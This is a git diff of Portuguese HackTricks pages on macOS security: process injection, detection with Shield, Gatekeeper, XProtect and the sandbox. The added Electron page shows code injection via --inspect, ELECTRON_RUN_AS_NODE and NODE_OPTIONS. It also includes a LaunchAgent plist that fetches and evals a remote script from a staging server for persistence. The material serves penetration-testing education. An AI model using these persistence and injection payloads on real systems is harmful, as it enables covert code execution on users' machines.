<figure><img src="../../../.gitbook/assets/Pasted Graphic 14.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit"
|
||||
```
|
||||
### Fuzzers
|
||||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
Funciona para ferramentas CLI
|
||||
Funciona para ferramentas CLI.
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta, precisam ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
Ele "**simplesmente funciona"** com ferramentas GUI do macOS. Observe que alguns aplicativos do macOS têm requisitos específicos, como nomes de arquivos exclusivos, a extensão correta, a necessidade de ler os arquivos do sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
Alguns exemplos:
|
||||
|
||||
|
|
|
@ -26,20 +26,44 @@ A Injeção de Biblioteca é uma técnica em que um atacante **força um process
|
|||
|
||||
### Hooking de Função
|
||||
|
||||
O Hooking de Função envolve a **interceptação de chamadas de função** ou mensagens dentro de um código de software. Ao enganchar funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo obter controle sobre o fluxo de execução.
|
||||
O Hooking de Função envolve **interceptar chamadas de função** ou mensagens dentro de um código de software. Ao enganchar funções, um atacante pode **modificar o comportamento** de um processo, observar dados sensíveis ou até mesmo obter controle sobre o fluxo de execução.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Comunicação entre Processos
|
||||
### Comunicação Interprocesso
|
||||
|
||||
A Comunicação entre Processos (IPC) refere-se a diferentes métodos pelos quais processos separados **compartilham e trocam dados**. Embora o IPC seja fundamental para muitas aplicações legítimas, ele também pode ser mal utilizado para subverter o isolamento de processos, vazar informações sensíveis ou realizar ações não autorizadas.
|
||||
A Comunicação Interprocesso (IPC) refere-se a diferentes métodos pelos quais processos separados **compartilham e trocam dados**. Embora a IPC seja fundamental para muitas aplicações legítimas, ela também pode ser mal utilizada para subverter o isolamento de processos, vazar informações sensíveis ou realizar ações não autorizadas.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injeção de Aplicativos Electron
|
||||
|
||||
Os aplicativos Electron executados com variáveis de ambiente específicas podem ser vulneráveis à injeção de processos:
|
||||
|
||||
{% content-ref url="macos-electron-applications-injection.md" %}
|
||||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Detecção
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) é um aplicativo de código aberto que pode **detectar e bloquear ações de injeção de processos**:
|
||||
|
||||
* Usando **Variáveis de Ambiente**: ele monitorará a presença de qualquer uma das seguintes variáveis de ambiente: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
|
||||
* Usando chamadas **`task_for_pid`**: para encontrar quando um processo deseja obter a **porta de tarefa de outro**, o que permite injetar código no processo.
|
||||
* **Parâmetros de aplicativos Electron**: Alguém pode usar os argumentos de linha de comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** para iniciar um aplicativo Electron no modo de depuração e, assim, injetar código nele.
|
||||
* Usando **links simbólicos** ou **hardlinks**: Tipicamente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de privilégio mais alto**. A detecção é muito simples para ambos os hardlinks e symlinks. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecuriy da Apple.
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
|
||||
* [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
@ -48,6 +72,4 @@ A Comunicação entre Processos (IPC) refere-se a diferentes métodos pelos quai
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlosp
|
||||
|
|
|
@ -0,0 +1,81 @@
|
|||
## Inspecionar Aplicações Electron
|
||||
|
||||
De acordo com [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se você executar uma aplicação Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração será aberta** para que você possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e você será capaz de **injetar código nela** ou até mesmo lançar novos processos.\
|
||||
Por exemplo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que agora a maioria das aplicações Electron ignorará os parâmetros do node (como --inspect) quando iniciados, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** seja definida.
|
||||
|
||||
No entanto, ainda é possível usar o parâmetro do electron `--remote-debugging-port=9229`, mas a carga útil anterior não funcionará para executar outros processos.
|
||||
{% endhint %}
|
||||
|
||||
## `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se essa variável de ambiente for definida, ela iniciará o processo como um processo Node.js normal.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
# Then from the nodeJS console execute:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), você pode abusar dessa variável de ambiente em um plist para manter a persistência:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
<dict>
|
||||
<key>ELECTRON_RUN_AS_NODE</key>
|
||||
<string>true</string>
|
||||
</dict>
|
||||
<key>Label</key>
|
||||
<string>com.xpnsec.hideme</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
|
||||
<string>-e</string>
|
||||
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### `ELECTRON_RUN_AS_NODE` & `NODE_OPTIONS`  
|
||||
|
||||
Com essa combinação, você pode armazenar o payload em um arquivo diferente e executar esse arquivo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Content of /tmp/payload.js
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
|
||||
|
||||
# Execute
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -23,7 +23,7 @@ Veja como funciona:
|
|||
2. **Distribuindo o Aplicativo:** O aplicativo assinado é então distribuído aos usuários juntamente com o certificado do desenvolvedor, que contém a chave pública correspondente.
|
||||
3. **Verificando o Aplicativo:** Quando um usuário faz o download e tenta executar o aplicativo, o sistema operacional Mac usa a chave pública do certificado do desenvolvedor para descriptografar o hash. Ele então recalcula o hash com base no estado atual do aplicativo e compara isso com o hash descriptografado. Se eles corresponderem, significa que **o aplicativo não foi modificado** desde que o desenvolvedor o assinou, e o sistema permite que o aplicativo seja executado.
|
||||
|
||||
As assinaturas de aplicativos são uma parte essencial da tecnologia Gatekeeper da Apple. Quando um usuário tenta **abrir um aplicativo baixado da internet**, o Gatekeeper verifica a assinatura do aplicativo. Se ele for assinado com um certificado emitido pela Apple para um desenvolvedor conhecido e o código não tiver sido adulterado, o Gatekeeper permite que o aplicativo seja executado. Caso contrário, ele bloqueia o aplicativo e alerta o usuário.
|
||||
As assinaturas de aplicativos são uma parte essencial da tecnologia Gatekeeper da Apple. Quando um usuário tenta **abrir um aplicativo baixado da internet**, o Gatekeeper verifica a assinatura do aplicativo. Se ele for assinado com um certificado emitido pela Apple para um desenvolvedor conhecido e o código não foi adulterado, o Gatekeeper permite que o aplicativo seja executado. Caso contrário, ele bloqueia o aplicativo e alerta o usuário.
|
||||
|
||||
A partir do macOS Catalina, **o Gatekeeper também verifica se o aplicativo foi notarizado** pela Apple, adicionando uma camada extra de segurança. O processo de notarização verifica o aplicativo em busca de problemas de segurança conhecidos e código malicioso, e se essas verificações passarem, a Apple adiciona um ticket ao aplicativo que o Gatekeeper pode verificar.
|
||||
|
||||
|
@ -56,7 +56,7 @@ Na primeira instalação ou execução do software pelo usuário, a existência
|
|||
|
||||
### Arquivos em Quarentena
|
||||
|
||||
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de e-mail, **anexam um atributo de arquivo estendido**, comumente conhecido como "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam este atributo, por exemplo, o software cliente BitTorrent comum geralmente ignora este processo.
|
||||
Ao **baixar** um aplicativo ou arquivo, aplicativos específicos do macOS, como navegadores da web ou clientes de e-mail, **anexam um atributo de arquivo estendido**, comumente conhecido como "**sinalizador de quarentena**", ao arquivo baixado. Este atributo atua como uma medida de segurança para **marcar o arquivo** como proveniente de uma fonte não confiável (a internet) e potencialmente carregando riscos. No entanto, nem todos os aplicativos anexam este atributo, por exemplo, o software comum de cliente BitTorrent geralmente ignora este processo.
|
||||
|
||||
**A presença de um sinalizador de quarentena sinaliza a funcionalidade de segurança do Gatekeeper do macOS quando um usuário tenta executar o arquivo**.
|
||||
|
||||
|
@ -115,13 +115,13 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
```
|
||||
## XProtect
|
||||
|
||||
XProtect é um recurso **anti-malware** integrado no macOS. Ele faz parte do sistema de segurança da Apple que trabalha silenciosamente em segundo plano para manter seu Mac seguro contra malwares conhecidos e plug-ins maliciosos.
|
||||
XProtect é um recurso **anti-malware** integrado no macOS. Ele faz parte do sistema de segurança da Apple que trabalha silenciosamente em segundo plano para manter seu Mac seguro contra malware conhecido e plug-ins maliciosos.
|
||||
|
||||
O XProtect funciona **verificando qualquer arquivo baixado em seu banco de dados** de malwares conhecidos e tipos de arquivos inseguros. Quando você baixa um arquivo por meio de determinados aplicativos, como Safari, Mail ou Mensagens, o XProtect verifica automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá que o arquivo seja executado** e o alertará sobre a ameaça.
|
||||
O XProtect funciona **verificando qualquer arquivo baixado em seu banco de dados** de malware conhecido e tipos de arquivo inseguros. Quando você baixa um arquivo por meio de determinados aplicativos, como Safari, Mail ou Mensagens, o XProtect verifica automaticamente o arquivo. Se ele corresponder a algum malware conhecido em seu banco de dados, o XProtect **impedirá que o arquivo seja executado** e o alertará sobre a ameaça.
|
||||
|
||||
O banco de dados do XProtect é **atualizado regularmente** pela Apple com novas definições de malware, e essas atualizações são baixadas e instaladas automaticamente em seu Mac. Isso garante que o XProtect esteja sempre atualizado com as últimas ameaças conhecidas.
|
||||
|
||||
No entanto, vale ressaltar que o **XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza a verificação de acesso como a maioria dos softwares antivírus. Portanto, embora o XProtect forneça uma camada de proteção contra malwares conhecidos, ainda é recomendável ter cuidado ao baixar arquivos da internet ou abrir anexos de e-mail.
|
||||
No entanto, vale ressaltar que o **XProtect não é uma solução antivírus completa**. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza a verificação de acesso como a maioria dos softwares antivírus. Portanto, embora o XProtect forneça uma camada de proteção contra malware conhecido, ainda é recomendável ter cuidado ao baixar arquivos da internet ou abrir anexos de e-mail.
|
||||
|
||||
Você pode obter informações sobre a última atualização do XProtect em execução:
|
||||
|
||||
|
@ -133,20 +133,24 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
|
||||
A Ferramenta de Remoção de Malware (MRT) é outra parte da infraestrutura de segurança do macOS. Como o nome sugere, a principal função do MRT é **remover malware conhecido de sistemas infectados**.
|
||||
|
||||
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para **remover automaticamente o malware**. O MRT opera silenciosamente em segundo plano e geralmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada.
|
||||
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para **remover automaticamente o malware**. O MRT opera silenciosamente em segundo plano e geralmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada (parece que as regras que o MRT tem para detectar malware estão dentro do binário).
|
||||
|
||||
Embora tanto o XProtect quanto o MRT façam parte das medidas de segurança do macOS, eles desempenham funções diferentes:
|
||||
|
||||
* **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos conforme são baixados** (por meio de determinados aplicativos) e, se detectar algum tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte o sistema em primeiro lugar.
|
||||
* **MRT**, por outro lado, é uma **ferramenta reativa**. Ele opera depois que o malware foi detectado em um sistema, com o objetivo de remover o software ofensivo para limpar o sistema.
|
||||
|
||||
## Limitações de Processos
|
||||
## Limitantes de Processos
|
||||
|
||||
### SIP - Proteção de Integridade do Sistema
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
[macos-sip.md](macos-sip.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sandbox
|
||||
|
||||
O Sandbox do macOS **limita as aplicações** que rodam dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está sendo executado. Isso ajuda a garantir que **o aplicativo acesse apenas os recursos esperados**.
|
||||
O Sandbox do macOS **limita as aplicações** que rodam dentro do sandbox às **ações permitidas especificadas no perfil do Sandbox** com o qual o aplicativo está sendo executado. Isso ajuda a garantir que **a aplicação acesse apenas os recursos esperados**.
|
||||
|
||||
{% content-ref url="macos-sandbox/" %}
|
||||
[macos-sandbox](macos-sandbox/)
|
||||
|
|
Loading…
Reference in a new issue